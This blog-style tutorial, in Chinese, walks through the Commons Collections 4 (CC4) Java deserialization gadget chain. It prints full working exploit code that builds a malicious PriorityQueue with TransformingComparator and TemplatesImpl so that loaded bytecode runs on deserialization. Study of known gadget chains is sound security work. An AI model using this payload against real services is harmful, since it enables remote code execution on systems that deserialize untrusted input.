CC链4

环境

jdk 8u66

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

正文

CC链4与CC3链不同的是ChainedTransformer类的transform()的调用链的不同了

TransformingComparator

TransformingComparator中的compare()方法调用了tranform()方法

PriorityQueue

在siftDownUsingComparator()中调用了compare()方法



在重写的readObject()方法中调用了heapify()

尝试构造payload

1
2
3
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Transformer> queue = new PriorityQueue<Transformer>(transformingComparator);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\java-test\\CC2\\CC2\\target\\classes\\com\\javatest\\Pay.class"));
byte[][] codes = {code};

setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);
setValue(templates,"_tfactory",new TransformerFactoryImpl());

Transformer[] transformerArray=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Transformer> queue = new PriorityQueue<Transformer>(transformingComparator);

serialize(queue);
unserialize("ser1.bin");
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

public static void setValue(Object object, String fieldName, Object value) throws Exception {
Class obj = object.getClass();
Field field = obj.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
}

尝试运行

并没有弹出计算器
在反序列化处进行调试,看看哪里出了问题

发现了问题的所在处

(size >>> 1) size 的值除以2并向下取整,,所以(size >>> 1) - 1 的结果将是大于或等于 0

由于在调试过程中直接跳出了循环,所以我们需要对size赋值,且要大于2以上

通过反射的方式直接进行赋值

1
2
3
4
Class cl = Class.forName("java.util.PriorityQueue");
Field f = cl.getDeclaredField("size");
f.setAccessible(true);
f.set(queue, 2);

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com.javatest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\java-test\\CC2\\CC2\\target\\classes\\com\\javatest\\Pay.class"));
byte[][] codes = {code};

setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);
setValue(templates,"_tfactory",new TransformerFactoryImpl());

Transformer[] transformerArray=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
//使用TransformingComparator构造链
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Transformer> queue = new PriorityQueue<Transformer>(transformingComparator);
//反射对size赋值
Class cl = Class.forName("java.util.PriorityQueue");
Field f = cl.getDeclaredField("size");
f.setAccessible(true);
f.set(queue, 2);

serialize(queue);
unserialize("ser1.bin");
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

public static void setValue(Object object, String fieldName, Object value) throws Exception {
Class obj = object.getClass();
Field field = obj.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
}